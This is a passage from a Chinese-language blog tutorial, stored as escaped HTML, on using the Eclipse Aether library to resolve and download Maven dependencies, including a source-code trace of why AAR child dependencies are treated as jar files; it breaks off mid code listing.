class=\"hljs-params\"\u003e()\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newServiceLocator();\u003cbr\u003e locator.addService( RepositoryConnectorFactory.class, BasicRepositoryConnectorFactory.class );\u003cbr\u003e locator.addService( TransporterFactory.class, FileTransporterFactory.class );\u003cbr\u003e locator.addService( TransporterFactory.class, HttpTransporterFactory.class );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e locator.getService( RepositorySystem.class );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystemSession \u003cspan class=\"hljs-title function_\"\u003enewSession\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( RepositorySystem system )\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e MavenRepositorySystemUtils.newSession();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eLocalRepository\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocalRepo\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLocalRepository\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;依赖库文件储存路径\u0026quot;\u003c/span\u003e);\u003cbr\u003e session.setLocalRepositoryManager(system.newLocalRepositoryManager(session,localRepo));\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e session;\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成初始化逻辑封装后,假如需要下载一个远程依赖(例如,\u003ccode\u003eorg.apache.maven:maven-profile:2.2.1\u003c/code\u003e)我们只需:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( String[] args )\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e Exception\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositorySystem\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erepoSystem\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e newRepositorySystem();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositorySystemSession\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003esession\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e newSession( repoSystem );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependency\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edependency\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependency\u003c/span\u003e( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifact\u003c/span\u003e( \u003cspan class=\"hljs-string\"\u003e\u0026quot;org.apache.maven:maven-profile:2.2.1\u0026quot;\u003c/span\u003e ), \u003cspan class=\"hljs-string\"\u003e\u0026quot;compile\u0026quot;\u003c/span\u003e );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRemoteRepository\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecentral\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRemoteRepository\u003c/span\u003e.Builder( \u003cspan class=\"hljs-string\"\u003e\u0026quot;central\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;default\u0026quot;\u003c/span\u003e, \u003cspan class=\"hljs-string\"\u003e\u0026quot;http://repo1.maven.org/maven2/\u0026quot;\u003c/span\u003e ).build();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eCollectRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003ecollectRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eCollectRequest\u003c/span\u003e();\u003cbr\u003e collectRequest.setRoot( dependency );\u003cbr\u003e collectRequest.addRepository( central );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e repoSystem.collectDependencies( session, collectRequest ).getRoot();\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edependencyRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyRequest\u003c/span\u003e();\u003cbr\u003e dependencyRequest.setRoot( node );\u003cbr\u003e\u003cbr\u003e repoSystem.resolveDependencies( session, dependencyRequest );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003ePreorderNodeListGenerator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enlg\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003ePreorderNodeListGenerator\u003c/span\u003e();\u003cbr\u003e node.accept( nlg );\u003cbr\u003e System.out.println( nlg.getClassPath() );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e运行后,便可在设置的本地仓库(Local Repository)文件夹下找到已下载的依赖库文件。\u003c/p\u003e\u003cp\u003e具体代码的内容也很清晰易懂:\u003cbr\u003e首先,Factory完成的是仓库连接与传输、本地仓库缓存的配置设置;\u003c/p\u003e\u003cp\u003e在main()方法内,初始化system(Repository系统及其功能的主要入口点)以及session(定义控制Repository系统的设置和组件),再创建一个Dependency(需要下载的依赖);\u003c/p\u003e\u003cp\u003e依赖必定需要从MavenRepository内查找,所以我们还需要RemoteRepository作为指定的远程仓库(注意:RemoteRepository可以同时添加多个,会依次查找);\u003c/p\u003e\u003cp\u003e进行Dependency的下载前,需要构建其依赖关系树,以下载其及其所需子依赖,构建依赖关系树前需要查询,则下一步进行的是CollectRequest,设置其rootDependency为所需依赖(必定为依赖树的root),并添加需要查找的RemoteRepository;\u003c/p\u003e\u003cp\u003e下一步即为依赖树的构建,repoSystem.collectDependencies()获取DependencyResult,再调用DependencyResult.getRoot()获取树的根节点,得到依赖树;\u003c/p\u003e\u003cp\u003eDependencyRequest用于初始化一个Dependency下载请求,设置root为刚刚得到的依赖树根节点即可,调用RepositorySystem.resolveDependencies(session,dependencyRequest)即可进行下载工作。可能会比较疑惑下载到哪里了,实际上可以知道在newSystemSession()方法内,我们进行session的初始化时已经设置了LocalRepository作为本地仓库,即缓存文件存放位置。\u003c/p\u003e\u003cp\u003eTips: 最后的PreorderNodeListGenerator实质上不会对依赖下载产生影响,只是官方提供的一个遍历依赖树的示例。\u003c/p\u003e\u003ch2 id=\"Aether开发逻辑介绍\"\u003e\u003ca href=\"#Aether开发逻辑介绍\" class=\"headerlink\" title=\"Aether开发逻辑介绍\"\u003e\u003c/a\u003eAether开发逻辑介绍\u003c/h2\u003e\u003cp\u003eAPI部分建议自行浏览Aether的源代码,只需要了解基本的开发逻辑,则根据名字以及注释很容易上手。\u003c/p\u003e\u003cul\u003e\u003cli\u003eAether使用的是依赖注入(Dependency Injection)这一设计模式,在使用RepositorySystem之前,必须从DefaultServiceLocator中进行初始化。DefaultServiceLocator在初始化时便以默认配置了需要类,我们按需添加缺失的必要类即可。在完成配置之后,Aether会通过DefaultServiceLocator.getService()方法得到需要的interface(当然是已经实例化的),所以我们可以通过addService()在不修改Aether代码的情况下,更改一些核心逻辑,实现高度的自定义化;同时需要强调的是,我们也应该通过DefaultServiceLocator.getService()进行所需interface的获取。\u003c/li\u003e\u003cli\u003eAether的所有操作基本上都是先创建一个XxxRequest,然后通过System执行对应的操作逻辑,结果是返回一个XxxResult。例如,Get Started代码中main()方法内的CollectRequest和DependencyRequest。且XxxRequest为Final Class,自行初始化即可。\u003c/li\u003e\u003cli\u003e特别注意,RepositorySystem需要通过DefaultServiceLocator得到的,通过依赖注入,RepositorySystem会自动获取DefaultServiceLocator中所需要的类;RepositorySystemSession则是配置信息的载体,需要自己通过代码设置配置信息。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"常见操作需求\"\u003e\u003ca href=\"#常见操作需求\" class=\"headerlink\" title=\"常见操作需求\"\u003e\u003c/a\u003e常见操作需求\u003c/h2\u003e\u003ch3 id=\"下载Dependency\"\u003e\u003ca href=\"#下载Dependency\" class=\"headerlink\" title=\"下载Dependency\"\u003e\u003c/a\u003e下载Dependency\u003c/h3\u003e\u003cp\u003e见 \u003ca href=\"#get-started\"\u003eGet Started\u003c/a\u003e 不再赘述。\u003c/p\u003e\u003ch3 id=\"获取某一Artifact的缓存路径\"\u003e\u003ca href=\"#获取某一Artifact的缓存路径\" class=\"headerlink\" title=\"获取某一Artifact的缓存路径\"\u003e\u003c/a\u003e获取某一Artifact的缓存路径\u003c/h3\u003e\u003col\u003e\u003cli\u003e通过RepositorySystemSession.getLocalRepositoryManager()获取LocalRepositoryManager;\u003c/li\u003e\u003cli\u003e调用LocalRepositoryManager.getPathForLocalArtifact()\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常见Model的初始化\"\u003e\u003ca href=\"#常见Model的初始化\" class=\"headerlink\" title=\"常见Model的初始化\"\u003e\u003c/a\u003e常见Model的初始化\u003c/h2\u003e\u003col\u003e\u003cli\u003eArtifact\u003cbr\u003e调用DefaultArtifact的构造方法即可,需要传入coords(坐标,诸如org.apache.maven:maven-profile:2.2.1格式),也有其他构造方法,具体自行浏览API。\u003c/li\u003e\u003cli\u003eDependency\u003cbr\u003e调用Dependency的构造方法,并传入Artifact及scope(\u003ca href=\"https://www.baeldung.com/maven-dependency-scopes\"\u003eMaven Scope\u003c/a\u003e)等参数即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"常见问题-已解决\"\u003e\u003ca href=\"#常见问题-已解决\" class=\"headerlink\" title=\"常见问题(已解决)\"\u003e\u003c/a\u003e常见问题(已解决)\u003c/h2\u003e\u003ch3 id=\"无法自动识别依赖文件类型为AAR的Artifact\"\u003e\u003ca href=\"#无法自动识别依赖文件类型为AAR的Artifact\" class=\"headerlink\" title=\"无法自动识别依赖文件类型为AAR的Artifact\"\u003e\u003c/a\u003e无法自动识别依赖文件类型为AAR的Artifact\u003c/h3\u003e\u003cp\u003e因为我的初衷是用在android ide上,下载aar文件是不可避免的,但是从\u003ccode\u003eorg.eclipse.aether.artifact.DefaultArtifact\u003c/code\u003e的构造方法可以看到(见下面的代码),默认的extension是jar,并且extension是final修饰的。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-title function_\"\u003eDefaultArtifact\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(String coords, Map\u0026lt;String, String\u0026gt; properties)\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eMatcher\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003em\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e COORDINATE_PATTERN.matcher(coords);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (!m.matches()) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cspan class=\"hljs-string\"\u003e\u0026quot;Bad artifact coordinates \u0026quot;\u003c/span\u003e + coords\u003cbr\u003e + \u003cspan class=\"hljs-string\"\u003e\u0026quot;, expected format is \u0026lt;groupId\u0026gt;:\u0026lt;artifactId\u0026gt;[:\u0026lt;extension\u0026gt;[:\u0026lt;classifier\u0026gt;]]:\u0026lt;version\u0026gt;\u0026quot;\u003c/span\u003e);\u003cbr\u003e \u0026#125;\u003cbr\u003e groupId = m.group(\u003cspan class=\"hljs-number\"\u003e1\u003c/span\u003e);\u003cbr\u003e artifactId = m.group(\u003cspan class=\"hljs-number\"\u003e2\u003c/span\u003e);\u003cbr\u003e extension = get(m.group(\u003cspan class=\"hljs-number\"\u003e4\u003c/span\u003e), \u003cspan class=\"hljs-string\"\u003e\u0026quot;jar\u0026quot;\u003c/span\u003e); \u003cspan class=\"hljs-comment\"\u003e//this line\u003c/span\u003e\u003cbr\u003e classifier = get(m.group(\u003cspan class=\"hljs-number\"\u003e6\u003c/span\u003e), \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e);\u003cbr\u003e version = m.group(\u003cspan class=\"hljs-number\"\u003e7\u003c/span\u003e);\u003cbr\u003e file = \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u003cspan class=\"hljs-built_in\"\u003ethis\u003c/span\u003e.properties = copyProperties(properties);\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可能到这里会想,那就在coords里指明extension不就可以了吗?很遗憾,测试后,你会发现这个根依赖倒是下载了,但是其子依赖仍然无法正确的识别文件类型。\u003c/p\u003e\u003cp\u003e接下来我们从源码的层面分析一下:\u003c/p\u003e\u003cp\u003e首先,根据上文的研究,Collect阶段会进行依赖树的构建,我们以此为入口,分析子依赖的构建过程。需要注意的是interface对应的默认impl类为DefaultXxx,比如RepositorySystem对应的默认impl类为DefaultRepositorySystem。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epackage\u003c/span\u003e org.eclipse.aether.internal.impl;\u003cbr\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultRepositorySystem\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositorySystem\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e validateSession(session);\u003cbr\u003e requireNonNull(request, \u003cspan class=\"hljs-string\"\u003e\u0026quot;request cannot be null\u0026quot;\u003c/span\u003e);\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e dependencyCollector.collectDependencies(session, request);\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到dependencyCollector.collectDependencies()执行了具体的操作,从dependencyCollector的初始化代码以及DefaultServiceLocator的相关代码,得知默认impl类为org.eclipse.aether.internal.impl.collect.DefaultDependencyCollector,继续往下追踪。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultDependencyCollector\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDependencyCollector\u003c/span\u003e, Service \u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-meta\"\u003e@Override\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e CollectResult \u003cspan class=\"hljs-title function_\"\u003ecollectDependencies\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e(RepositorySystemSession session, CollectRequest request)\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e DependencyCollectionException \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eString\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edelegateName\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ConfigUtils.getString(session, DEFAULT_COLLECTOR_IMPL, CONFIG_PROP_COLLECTOR_IMPL);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyCollectorDelegate\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003edelegate\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e delegates.get(delegateName);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e (delegate == \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e) \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eIllegalArgumentException\u003c/span\u003e(\u003cbr\u003e \u003cspan class=\"hljs-string\"\u003e\u0026quot;Unknown collector impl: \u0026#x27;\u0026quot;\u003c/span\u003e + delegateName + \u003cspan class=\"hljs-string\"\u003e\u0026quot;\u0026#x27;, known implementations are \u0026quot;\u003c/span\u003e + delegates.keySet());\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e delegate.collectDependencies(session, request);\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e好好好,继续套娃操作,看代码知默认是深度优先\u003ccode\u003eorg.eclipse.aether.internal.impl.collect.df.DfDependencyCollector\u003c/code\u003e,并且DependencyCollectorDelegate会利用collectDependencies()包装了DependencyCollector.doCollectDependencies()方法。\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan 